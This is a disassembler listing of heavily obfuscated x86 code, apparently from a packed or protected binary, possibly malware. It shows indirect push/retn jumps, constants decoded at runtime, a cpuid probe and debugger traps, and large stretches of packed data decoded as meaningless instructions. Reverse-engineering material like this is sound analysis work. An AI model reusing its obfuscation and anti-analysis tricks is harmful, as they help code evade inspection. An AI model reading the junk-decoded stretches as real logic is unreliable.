ror eax, 6 push eax retn ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- add esi, ebx jmp loc_424BAA ; --------------------------------------------------------------------------- push edx xchg ebx, edx push 0AEF5C860h pop ebx jmp loc_42944F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_24. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push edx shr edx, 12h jmp near ptr sub_42C43B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260A9 loc_42EC9D: ; CODE XREF: sub_4260A9:loc_429C79j cmp eax, [ebp-8] jnz loc_42CA26 mov eax, [ebp-14h] mov eax, [eax+24h] add eax, [ebp-4] jmp loc_428688 ; END OF FUNCTION CHUNK FOR sub_4260A9 ; --------------------------------------------------------------------------- loc_42ECB4: ; CODE XREF: wto1jq8f:0042855Fj jz loc_428472 call sub_42B866 retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C4E2 loc_42ECC0: ; CODE XREF: sub_42C4E2+8A9j jmp nullsub_171 ; END OF FUNCTION CHUNK FOR sub_42C4E2 ; --------------------------------------------------------------------------- loc_42ECC5: ; CODE XREF: wto1jq8f:loc_428552j call near ptr sub_42CB36 test al, al jz loc_428472 jmp loc_42B860 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424F31 loc_42ECD7: ; CODE XREF: sub_424F31+15j push 0C621FE39h pop ebx add ebx, 641A5C62h rol ebx, 1Fh add ebx, 6B2474F2h push offset sub_42A237 jmp loc_42EBEA ; END OF FUNCTION CHUNK FOR sub_424F31 ; --------------------------------------------------------------------------- loc_42ECF6: ; CODE XREF: wto1jq8f:0042AEC4j mov ebx, 0B4C135EDh loc_42ECFB: ; CODE XREF: wto1jq8f:loc_42A26Ej call sub_42ED01 retn ; =============== S U B R O U T I N E ======================================= sub_42ED01 proc near ; CODE XREF: sub_426535:loc_427C0Cp ; wto1jq8f:loc_42ECFBp ; FUNCTION CHUNK AT 0042A018 SIZE 0000000A BYTES js loc_42A018 mov eax, offset dword_42CAF8 call near ptr loc_42F184+1 sub_42ED01 endp ; --------------------------------------------------------------------------- test al, al jmp loc_424F9D ; --------------------------------------------------------------------------- mov eax, offset loc_42ED21 xchg eax, [esp] retn ; --------------------------------------------------------------------------- loc_42ED21: ; DATA XREF: wto1jq8f:0042ED18o pop ecx jmp loc_425981 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42ED27: ; CODE XREF: sub_426535:loc_427383j ; sub_426535+1274j inc dword ptr [ebp-8] inc dword ptr [ebp-0Ch] jmp loc_42AB0E ; END OF FUNCTION CHUNK FOR sub_426535 ; =============== S U B R O U T I N E ======================================= sub_42ED32 proc near ; CODE XREF: wto1jq8f:loc_42664Bp ; wto1jq8f:00426BEFp ... arg_415E085E = word ptr 415E0862h ; FUNCTION CHUNK AT 0042F44D SIZE 0000001D BYTES call sub_42A8ED loc_42ED37: ; CODE XREF: wto1jq8f:0042782Ej jmp loc_42F44D sub_42ED32 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4267AE loc_42ED3C: ; CODE XREF: sub_4267AE-B29j jnz loc_427246 jmp loc_429F75 ; END OF FUNCTION CHUNK FOR sub_4267AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4246D4 loc_42ED47: ; CODE XREF: sub_4246D4:loc_42CDF4j pop ecx pop ebx xchg ebx, [esp-10h+arg_C] mov eax, ebx pop ebx jmp loc_428D5C ; END OF FUNCTION CHUNK FOR sub_4246D4 ; =============== S U B R O U T I N E ======================================= sub_42ED54 proc far ; DATA XREF: wto1jq8f:0042AF9Bo mov edx, 7DA6ACC0h call sub_429165 call sub_42969B loc_42ED63: ; DATA XREF: wto1jq8f:0042C454o call sub_424585 mov edx, 1F56AC7Bh call sub_429165 loc_42ED72: ; CODE XREF: wto1jq8f:loc_42CA0Cj call sub_42CF00 loc_42ED77: ; CODE XREF: wto1jq8f:0042B34Ej jmp near ptr loc_42F837+2 sub_42ED54 endp ; --------------------------------------------------------------------------- loc_42ED7C: ; CODE XREF: wto1jq8f:0042983Ej jmp sub_424585 ; --------------------------------------------------------------------------- loc_42ED81: ; CODE XREF: wto1jq8f:00427456j jnz loc_42EE9A mov eax, [ebp-1Ch] shl eax, 8 mov edx, [ebp-20h] movzx edx, byte ptr [edx] jmp near ptr byte_424EB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_42ED98: ; CODE XREF: sub_42A909+2948j jnz loc_428EBC jmp loc_427F74 ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426D4F loc_42EDA3: ; CODE XREF: sub_426D4F:loc_429550j jz loc_42BC61 jmp loc_42B970 ; END OF FUNCTION CHUNK FOR sub_426D4F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42EDAE: ; CODE XREF: sub_426535+7335j push offset sub_428A4E jmp nullsub_72 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_42EDB9 proc near ; CODE XREF: wto1jq8f:0042417Ej ; sub_42D849+2p ; FUNCTION CHUNK AT 00424C2E SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00425E50 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425E60 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00426E06 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042746B SIZE 0000001D BYTES ; FUNCTION CHUNK AT 004281D5 SIZE 00000003 BYTES ; FUNCTION CHUNK AT 0042828A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004282D6 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 004285D0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428905 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00428D1D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004293D9 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042A373 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042A916 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042C803 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0042E79B SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042E7E4 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0042EB14 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F355 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi xor edx, edx push ebx mov ebx, edx xchg ebx, [esp+0] push eax jmp loc_4293D9 sub_42EDB9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42EDCB: ; CODE XREF: wto1jq8f:0042827Aj mov dword ptr [eax], 594C4C4Fh push 30384E93h pop eax call sub_426086 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_124. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42EDDD: ; DATA XREF: sub_42C75F+6o push 0B405D0E1h pop eax add eax, 4C3D1FC7h jmp loc_42D116 ; --------------------------------------------------------------------------- loc_42EDEE: ; DATA XREF: wto1jq8f:00425B10o xchg ebx, [esp] jmp loc_42749F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426FD6 loc_42EDF6: ; CODE XREF: sub_426FD6-10A1j xor ebx, ebx xor ecx, ecx xor edx, edx cpuid add [esi], eax push ecx ; END OF FUNCTION CHUNK FOR sub_426FD6 ; --------------------------------------------------------------------------- db 68h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429281 loc_42EE02: ; CODE XREF: sub_429281:loc_42EE67j sub al, 0D7h imul ebp, 0F27290Bh cmp al, 0A2h push esi pop es sub esi, [edi] stc wait call far ptr 7C26h:6F87713Dh push cs outsb loc_42EE1B: ; CODE XREF: sub_427143:loc_429B95j jmp near ptr 0CC811783h ; END OF FUNCTION CHUNK FOR sub_429281 ; --------------------------------------------------------------------------- dd 5FC680F2h, 2F1F443Eh, 0FEA3917Dh db 3Dh ; --------------------------------------------------------------------------- loc_42EE2D: ; CODE XREF: wto1jq8f:00425DBCj cmp eax, 0AB701A2Fh sti dec edi push esp db 67h dec edx ; --------------------------------------------------------------------------- db 84h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424406 loc_42EE38: ; CODE XREF: sub_424406:loc_425A0Fj mov edx, 0B72D9CBFh push ebx db 26h push 0B8027604h out 5Ah, eax xor [edi-73h], ah cmp al, 0Ch sbb dword ptr [eax+ecx*2-62EF80A2h], 0E975815Eh ; CODE XREF: wto1jq8f:0042EEA2j int 7Ch ; IBM REXX88PC command language in eax, dx mov al, 38h cdq sbb ebx, ds:135DA0E1h db 64h jecxz short near ptr loc_42EEAA+2 test [edx], esp ; END OF FUNCTION CHUNK FOR sub_424406 ; START OF FUNCTION CHUNK FOR sub_429281 loc_42EE67: ; CODE XREF: sub_429281+5C0Ej js short loc_42EE02 loope near ptr loc_42EED8+1 xchg eax, ecx loc_42EE6C: ; CODE XREF: sub_428310-17j ; wto1jq8f:0042626Cj xor esp, [edi-6] sbb al, 0D4h ; END OF FUNCTION CHUNK FOR sub_429281 ; --------------------------------------------------------------------------- db 0C0h, 83h ; --------------------------------------------------------------------------- loc_42EE73: ; CODE XREF: wto1jq8f:loc_427A6Fj popa ; START OF FUNCTION CHUNK FOR sub_42B8FC loc_42EE74: ; CODE XREF: sub_42B8FC+8j pop ds setalc pop ecx db 67h lahf ; END OF FUNCTION CHUNK FOR sub_42B8FC ; START OF FUNCTION CHUNK FOR sub_429281 loc_42EE79: ; CODE XREF: sub_429281:loc_42CB08j inc eax loc_42EE7A: ; CODE XREF: wto1jq8f:004273CBj in al, dx jz short loc_42EECA loc_42EE7D: ; CODE XREF: sub_429BFF-2FBDj sub ah, [edi-29D1C560h] sub [edi-40h], bh cmpsd daa sub [edi], al int 87h ; used by BASIC while in interpreter dec esi aam 0C7h jmp short loc_42EE67 ; END OF FUNCTION CHUNK FOR sub_429281 ; --------------------------------------------------------------------------- db 93h, 91h, 4Fh dd 81462F3h ; --------------------------------------------------------------------------- push 0FFFFFF94h loc_42EE9A: ; CODE XREF: wto1jq8f:loc_42ED81j mov [edx-69A1175Ch], eax jz short near ptr loc_42EEDB+3 jp short near ptr loc_42EE4B+7 icebp lodsb setalc arpl bp, ax ; START OF FUNCTION CHUNK FOR sub_42E0FD loc_42EEA9: ; CODE XREF: sub_42E0FD+13j ; wto1jq8f:0042E4CAj lodsb loc_42EEAA: ; CODE XREF: sub_424406+AA5Cj push dword ptr [edi+2Fh] into loc_42EEAE: ; CODE XREF: wto1jq8f:0042768Ej mov al, 85h ; END OF FUNCTION CHUNK FOR sub_42E0FD loc_42EEB0: ; CODE XREF: wto1jq8f:loc_42A92Cp mov esi, 262D5FFCh fisubr word ptr [ebp-5F30C14Ch] and edx, gs:[edi-0A478AB2h] insd jp short loc_42EF38 ; --------------------------------------------------------------------------- db 8Fh, 0ABh, 0C0h db 0BEh, 0DFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429281 loc_42EECA: ; CODE XREF: sub_429281+5BFAj xor eax, esi ; END OF FUNCTION CHUNK FOR sub_429281 ; =============== S U B R O U T I N E ======================================= sub_42EECC proc near ; CODE XREF: sub_427143:loc_4292F9p ; wto1jq8f:0042C14Bj add ds:915F60ECh, dh cmp [ecx+7BAAF900h], eax loc_42EED8: ; CODE XREF: sub_429281+5BE8j mov bl, 0F9h inc esp loc_42EEDB: ; CODE XREF: wto1jq8f:0042EEA0j ; sub_4264F4+4A64j adc eax, 3E44E1EEh pop edx fsub dword ptr [edx] daa inc ecx dec ebx push eax sub_42EECC endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_425E35 loc_42EEE7: ; CODE XREF: sub_425E35:loc_42AEFAj frstor byte ptr [ebx+34287408h] out dx, eax fcom st(1) cmpsd test bh, 82h push edx add edx, [edi+0Eh] jge short near ptr loc_42EF4B+3 ; END OF FUNCTION CHUNK FOR sub_425E35 ; --------------------------------------------------------------------------- dw 4AD9h dd 735CC336h db 0Eh, 0E5h, 66h ; --------------------------------------------------------------------------- loc_42EF03: ; CODE XREF: wto1jq8f:loc_427C26j ; wto1jq8f:0042BA63j lea esi, [ebp+75DF3242h] out dx, al ; --------------------------------------------------------------------------- dw 0F7DDh ; --------------------------------------------------------------------------- push edx push cs ; START OF FUNCTION CHUNK FOR sub_4283CC loc_42EF0E: ; CODE XREF: sub_4283CC:loc_427906j out 7Ah, eax sar dword ptr [edi-0F1C3FD0h], 7Dh ; END OF FUNCTION CHUNK FOR sub_4283CC ; --------------------------------------------------------------------------- db 0DFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E0FD loc_42EF18: ; CODE XREF: sub_42E0FD+E3Ej ; sub_42E541-3FACj adc ah, al loc_42EF1A: ; CODE XREF: sub_42E0FD+E58j mov ds:0A781CA37h, al push eax jecxz short loc_42EF9E in eax, 16h mov edx, 33FBC1C0h lodsb int 3 ; Trap to Debugger stosd into loc_42EF2D: ; CODE XREF: wto1jq8f:00426652j call near ptr 94874A44h loc_42EF32: ; CODE XREF: wto1jq8f:0042EC0Fj ; sub_42E0FD+E5Aj or eax, 79BA8763h movsb loc_42EF38: ; CODE XREF: wto1jq8f:0042EEC3j or [ebx-60h], dh jns short loc_42EF18 imul byte ptr [edi+eax] inc eax db 64h jge short loc_42EF9E xchg eax, edx nop mov edi, 0B9FE1FCh loc_42EF4B: ; CODE XREF: sub_425E35+90C3j xor [esi+1A8CFBA7h], al inc edi ficomp word ptr [ebx-3Eh] js short loc_42EF1A jno short near ptr loc_42EF32+3 adc ah, ds:7A662BF8h dec ecx stosb cmp dl, dl xor dword ptr [edx], 0B32F942Fh loc_42EF69: ; CODE XREF: sub_42DC5C:loc_42D52Cj hlt ; END OF FUNCTION CHUNK FOR sub_42E0FD ; --------------------------------------------------------------------------- mov edx, 3FA4DD6Ah ; [00000003 BYTES: COLLAPSED FUNCTION nullsub_33. PRESS KEYPAD "+" TO EXPAND] dw 949h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C92 loc_42EF74: ; CODE XREF: sub_427C92+12j mov word ptr [ebx-5Dh], es retf 0AA1Fh ; END OF FUNCTION CHUNK FOR sub_427C92 ; --------------------------------------------------------------------------- dw 5EEEh ; --------------------------------------------------------------------------- shr byte ptr [ebp-67h], cl and [ebx+0Ch], bh pop es pop ebx test al, bh loc_42EF86: ; CODE XREF: wto1jq8f:00428585j dec ebx retf ; --------------------------------------------------------------------------- inc ebx packsswb mm7, qword ptr [ecx+42h] retn 0A30Eh ; --------------------------------------------------------------------------- dd 0AE9ABDA5h, 0B58DA191h, 95BEA2BAh db 5Bh byte_42EF9D db 0C6h ; CODE XREF: wto1jq8f:loc_42DBF3j ; DATA XREF: sub_42BE69:loc_42DBE9o ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E0FD loc_42EF9E: ; CODE XREF: sub_42E0FD+E23j ; sub_42E0FD+E44j les eax, [edx] add ch, [esi-35h] bound ecx, [ebp-6C19D08h] test eax, 0E703AD37h retn ; END OF FUNCTION CHUNK FOR sub_42E0FD ; --------------------------------------------------------------------------- db 0AFh dd 0D9CB48E6h db 25h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4281DD loc_42EFB5: ; CODE XREF: sub_4281DDj in eax, 0FEh enter 4422h, 0F6h nop ; END OF FUNCTION CHUNK FOR sub_4281DD ; --------------------------------------------------------------------------- db 3Bh, 25h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A197 loc_42EFBE: ; CODE XREF: sub_42A197:loc_4288CDj ; sub_425CE2:loc_428F32j ... inc ecx cmp al, 0EFh ; END OF FUNCTION CHUNK FOR sub_42A197 ; --------------------------------------------------------------------------- db 2Dh, 3Ah, 99h db 0E2h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D368 loc_42EFC5: ; CODE XREF: sub_42D368+9j ; sub_42C1EE+18j fst qword ptr [ecx+1ECA8DC8h] shl dword ptr [ecx], 1 scasd xlat das push esi jmp short loc_42EFE2 ; END OF FUNCTION CHUNK FOR sub_42D368 ; --------------------------------------------------------------------------- test [ebx+0Eh], dh loc_42EFD6: ; DATA XREF: wto1jq8f:0042BF4Fo aam 0F5h test eax, 0D1D83971h push ss dec ecx loc_42EFDF: ; CODE XREF: wto1jq8f:004284DCj lodsd ; --------------------------------------------------------------------------- db 0A9h, 34h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D368 loc_42EFE2: ; CODE XREF: sub_42D368+1C69j cmp [ebx+edi-6A5A826Bh], al add eax, 4C0731E2h mov ds:4A0E45D6h, eax ; CODE XREF: wto1jq8f:0042F05Bj in al, dx inc ecx ; END OF FUNCTION CHUNK FOR sub_42D368 ; START OF FUNCTION CHUNK FOR sub_42A2B8 loc_42EFF5: ; CODE XREF: sub_42A2B8:loc_42724Cj push ecx mov eax, ds:49B885E6h loc_42EFFB: ; CODE XREF: sub_428A19-4469j paddb mm2, qword ptr [eax] xor [eax], al loc_42F000: ; CODE XREF: sub_42A2B8-3C38j ; sub_428BA9+Aj loop loc_42F06D xchg ebp, [esi-2Bh] pop ss xor al, 89h call near ptr 0EE47FE0Fh inc ebx ffreep st(2) xor [ecx-0F674644h], esi loc_42F016: ; CODE XREF: wto1jq8f:0042F04Aj pushf mov ds:68768CD0h, al push esp ; END OF FUNCTION CHUNK FOR sub_42A2B8 ; --------------------------------------------------------------------------- db 0FEh, 58h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42BB2A loc_42F01F: ; CODE XREF: sub_42BB2A+4j mov ds:1E88E796h, al ; END OF FUNCTION CHUNK FOR sub_42BB2A ; --------------------------------------------------------------------------- dd 0C7A4088Fh, 12E08BF1h, 4F62D68Dh, 0B7E32A1Bh, 0B2DBFC3Dh dd 0C7B3F09Ch ; --------------------------------------------------------------------------- loc_42F03C: ; DATA XREF: sub_42E3B6o fcom st xchg eax, ebp xor esi, 0FFFFFFDCh dec ecx loc_42F043: ; CODE XREF: wto1jq8f:0042C35Fj std mov ds:0E773FCB0h, al int 3 ; Trap to Debugger jbe short loc_42F016 add ecx, eax mov al, ds:0ED5DE03Ah test [esi], edi xor esp, [esi+598D5374h] jp short near ptr loc_42EFEE+2 in al, 96h mov ds:0B132B978h, eax sub [edx+379BD565h], esi ; --------------------------------------------------------------------------- dw 0AA80h ; --------------------------------------------------------------------------- push edx ; START OF FUNCTION CHUNK FOR sub_42A2B8 loc_42F06D: ; CODE XREF: sub_42A2B8:loc_42F000j sub esi, [edx+0A3A8E3Eh] xlat jecxz short loc_42F09D xchg eax, edi xor [esp+edx*4-4+arg_0], dl and dh, ch movd mm3, edi ; END OF FUNCTION CHUNK FOR sub_42A2B8 ; --------------------------------------------------------------------------- db 2Eh dd 0F4098B8Fh dword_42F084 dd 0A6CD37F0h ; sub_42C6F9+7r ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42F088: ; CODE XREF: sub_42DC5C-1C59j call near ptr 16993F1Ah loc_42F08D: ; CODE XREF: wto1jq8f:0042B3DDj ; DATA XREF: wto1jq8f:0042A030w lock repne arpl [ebx+31CBD1DAh], dx add al, 0E0h ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- db 2Eh dd 0E55C99D0h byte_42F09C db 6Bh ; CODE XREF: sub_42D9D9-5912j ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A2B8 loc_42F09D: ; CODE XREF: sub_42A2B8+4DBCj xor eax, 7D6A4FBBh xor ebx, edi loc_42F0A4: ; DATA XREF: sub_424D58r ; wto1jq8f:00427F22w xor al, 2Fh out dx, eax nop shr eax, 0EDh loc_42F0AB: ; CODE XREF: wto1jq8f:0042B0FFj test eax, 0D18D44F5h loope loc_42F0CD ; END OF FUNCTION CHUNK FOR sub_42A2B8 ; --------------------------------------------------------------------------- dw 0E8B9h dword_42F0B4 dd 26BCF0F8h ; wto1jq8f:0042C6EDw ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429A99 loc_42F0B8: ; CODE XREF: sub_429A99+18j wait outsb dec esi movsd sti push dword ptr [edx+esi*8] ; END OF FUNCTION CHUNK FOR sub_429A99 ; --------------------------------------------------------------------------- dword_42F0C0 dd 0C3FCF9FFh ; --------------------------------------------------------------------------- loc_42F0C4: ; CODE XREF: wto1jq8f:loc_42644Cj xchg eax, edi xlat mov cl, 0EDh add [edi+37h], cl in eax, dx ; --------------------------------------------------------------------------- db 70h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A2B8 loc_42F0CD: ; CODE XREF: sub_42A2B8+4DF8j push ss loc_42F0CE: ; DATA XREF: sub_42704E+8E3o mov ebp, edx loope near ptr loc_42F13D+4 jbe short near ptr loc_42F118+2 pop edi ; END OF FUNCTION CHUNK FOR sub_42A2B8 ; --------------------------------------------------------------------------- db 0FEh, 91h, 90h ; --------------------------------------------------------------------------- fisub dword ptr [edx-2Ah] retf ; --------------------------------------------------------------------------- dd 52CBBC18h, 7291473Bh, 0EBFC48FDh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429281 loc_42F0E8: ; CODE XREF: sub_429281+3014j push es push esp outsd loc_42F0EB: ; CODE XREF: sub_429281:loc_42C285j call far ptr 0D431h:78992A93h xchg eax, esp jo short near ptr loc_42F139+3 ; CODE XREF: sub_429281:loc_42F12Fj movsb cmp eax, 0BBC26044h dec esp loc_42F0FC: ; CODE XREF: wto1jq8f:0042472Ej imul esp, [esi-4Ah], 66h push 2Ch ror dword ptr [eax], 1 loc_42F104: ; CODE XREF: wto1jq8f:loc_426159j sub dl, bl movsb push edi loc_42F108: ; CODE XREF: wto1jq8f:0042CB1Cj and [edi+12374417h], eax aaa inc esp push 9AA347B0h shr byte ptr [eax], 1 cmpsb loc_42F118: ; CODE XREF: sub_427F4Ej ; sub_42A2B8+4E1Aj adc [edx-47971752h], al call far ptr 6DA9h:9BE50B62h inc eax fild word ptr [ecx] loc_42F128: ; CODE XREF: wto1jq8f:loc_429CD2j xor eax, 0FAE2505Ah inc esi pop ebp loc_42F12F: ; CODE XREF: wto1jq8f:0042EA8Fj js short near ptr loc_42F0F3+1 cli ja short loc_42F14F pop ds ; END OF FUNCTION CHUNK FOR sub_429281 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42F135 proc near ; CODE XREF: sub_425944+841p db 64h add ebp, esi int 3 ; Trap to Debugger loc_42F139: ; CODE XREF: sub_429281:loc_42F0F3j sub [ecx+4], edx loc_42F13D: ; CODE XREF: sub_42A2B8+4E18j cmp dl, [ecx-0CE8ABA7h] loc_42F143: ; CODE XREF: sub_42E64B+3j push esp dec ebp out dx, eax loc_42F146: ; CODE XREF: wto1jq8f:004249A7j fldcw word ptr [edx-7425DDB8h] loc_42F14C: ; CODE XREF: wto1jq8f:loc_42E41Fj pop ebp push ebp scasd loc_42F14F: ; CODE XREF: sub_429281+5EB1j out 63h, eax ; PC/XT PPI Command/Mode Register. ; Selects which PPI ports are input or output. ; BIOS sets to 99H (Ports A and C are input, B is output). test byte ptr [ecx+ebp], 29h db 66h fild dword ptr [ecx-27h] movsb icebp loc_42F15B: ; CODE XREF: sub_42DC5C:loc_42735Cj ; sub_42C786+10j and [ebx+16F2A679h], bl into add [edx], bl div byte ptr [edi+5Dh] push edx loc_42F168: ; CODE XREF: sub_4267AE-B2Fj arpl [ebx], ax cmpsd sahf mov byte ptr [ecx-65F63951h], 0D3h daa loc_42F174: ; CODE XREF: wto1jq8f:0042929Bj mov ds:0CD5E8F21h, al push cs loc_42F17A: ; CODE XREF: wto1jq8f:loc_424F9Dj ; sub_427203+10j ... mov bl, 12h test eax, edx in eax, 5Eh loc_42F180: ; CODE XREF: wto1jq8f:00427442j cmc mov ss, bx pop ebx loc_42F184: ; CODE XREF: sub_42A6CD+4p ; wto1jq8f:0042B604j ... add eax, 744CDC96h jle short loc_42F1F8 cmp al, 28h pushf hlt ; --------------------------------------------------------------------------- db 21h db 90h db 2Ch, 0C6h, 0E5h dd 7FD3FB51h, 5C5FAF47h, 0C2DD1FCEh, 459D4E35h, 625C3214h dd 5FDCADFDh db 5Ah ; --------------------------------------------------------------------------- loc_42F1AD: ; CODE XREF: sub_424DA0:loc_425BFDj wait add ebp, edi sbb [edi], dh xlat test al, 63h cld lea esp, [edx-784267F5h] loc_42F1BC: ; CODE XREF: sub_426535+76ECj ficom word ptr [ebx-15h] imul byte ptr [edx+21ECAE56h] xchg ah, [ebx] in al, 0A5h ; Interrupt Controller #2, 8259A aad 0AFh ; --------------------------------------------------------------------------- db 7Ah dword_42F1CC dd 0EA219680h ; sub_42885Cr ... dword_42F1D0 dd 1195EF5Ch dword_42F1D4 dd 0A26308B8h ; wto1jq8f:004281B8r ... ; --------------------------------------------------------------------------- loc_42F1D8: ; CODE XREF: sub_427D8D+Aj lea edx, [ebp-68h] loc_42F1DB: ; DATA XREF: wto1jq8f:00427633w ; sub_4267AE+462Fw ... and ebx, [eax+24F7FACBh] imul eax, [ebx+ebp-12h], 5CC6883Ch les esi, [edi-1Ch] loc_42F1EC: ; DATA XREF: sub_429BD3-5909w test al, 0FFh rcl byte ptr [edi], cl ; --------------------------------------------------------------------------- dword_42F1F0 dd 9BF1C945h ; wto1jq8f:loc_4294E8r ... ; --------------------------------------------------------------------------- loc_42F1F4: ; CODE XREF: sub_4264F4+58Bj pop ss cdq ; --------------------------------------------------------------------------- dw 716Bh ; --------------------------------------------------------------------------- loc_42F1F8: ; CODE XREF: sub_42F135+54j icebp mov esp, 0DB538EEAh wait push ds sbb [eax-7Fh], bl cld fstp dword ptr [ebx+ecx-46643D1h] jmp near ptr 0EDB48978h sub_42F135 endp ; sp-analysis failed ; --------------------------------------------------------------------------- sbb al, 0CEh inc ebx std and eax, [eax] loc_42F216: ; CODE XREF: wto1jq8f:0042A66Ej in al, dx pop esp push es int 0CBh ; used by BASIC while in interpreter inc ebx pop es inc esp mov fs, dx ; --------------------------------------------------------------------------- db 0F2h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A617 loc_42F221: ; CODE XREF: sub_42A617-44FBj ; wto1jq8f:0042EA5Ej out dx, al mov eax, ds:6ECF51FDh xor [eax+51h], ebp xor al, 76h js short loc_42F273 loc_42F22E: ; CODE XREF: wto1jq8f:loc_42B056j mov esi, 0D2D47782h loc_42F233: ; CODE XREF: sub_42A617:loc_42F233j jnb short loc_42F233 movsb pop esi pop ds retf ; END OF FUNCTION CHUNK FOR sub_42A617 ; --------------------------------------------------------------------------- db 0EAh, 7Bh, 16h dd 438E1E32h, 95FF0831h, 5959B58Ah, 0C465C116h, 0BF79AC62h dd 0D4BEE730h, 0B95B812Ch, 6E410A91h ; --------------------------------------------------------------------------- cmp al, 1Ch stc loc_42F25F: ; CODE XREF: wto1jq8f:0042B389p ror dword ptr [ebx-0B6A9F1Bh], 0EBh nop pop edi or [ebp-29h], edx push esi in eax, dx ; --------------------------------------------------------------------------- db 0DBh, 0B9h, 0A8h db 6Bh, 0FDh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D00 loc_42F272: ; CODE XREF: sub_427D00+1A57j push es ; END OF FUNCTION CHUNK FOR sub_427D00 ; START OF FUNCTION CHUNK FOR sub_42A617 loc_42F273: ; CODE XREF: sub_42A617+4C15j ; sub_424F7A:loc_42E99Dj mov ebp, 0F8EECA5h dec edx mov esi, 8A04CC13h cmpsd daa repne xchg eax, esi retn 3229h ; END OF FUNCTION CHUNK FOR sub_42A617 ; --------------------------------------------------------------------------- db 29h, 83h, 0ECh ; --------------------------------------------------------------------------- mov ah, 1Fh mov ds, si loc_42F28C: ; CODE XREF: wto1jq8f:0042F2A9j cmp edx, 7Ah cmp al, 6Eh mov edi, 0CB8E11AAh xlat ; --------------------------------------------------------------------------- db 0DBh ; --------------------------------------------------------------------------- loc_42F298: ; CODE XREF: wto1jq8f:0042B20Aj xchg eax, ebx sbb [ecx+edi*2-48h], al loc_42F29D: ; DATA XREF: sub_42E919+Bo imul ebp, [edi+5Ch], 79B3AFA5h xor al, 4Ch inc ebp fprem jz short loc_42F28C ficomp word ptr [ebx-7EED944Fh] retf ; --------------------------------------------------------------------------- dw 3B72h dd 8CC01280h, 8D0BDBCEh db 5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42760F loc_42F2BD: ; CODE XREF: sub_42760F+62FCj sbb al, [ebx-42h] out dx, eax stosb loc_42F2C2: ; CODE XREF: wto1jq8f:0042CF26j ; sub_426535:loc_42F325j jmp fword ptr [ebx-10E0C1D1h] ; END OF FUNCTION CHUNK FOR sub_42760F ; --------------------------------------------------------------------------- db 60h, 20h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42F2CA: ; CODE XREF: sub_426535:loc_42F317j lodsd sbb bl, [ebp-1B5B29DDh] push 0FFFFFF9Ch popf imul ebp, edi, 59h sub edi, 0FFFFFFFAh sahf hlt ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- dd 8E8C0311h db 5, 0ECh ; --------------------------------------------------------------------------- loc_42F2E2: ; CODE XREF: wto1jq8f:00429DEFj arpl ax, dx and cl, ah push ss ; START OF FUNCTION CHUNK FOR sub_429BFF loc_42F2E7: 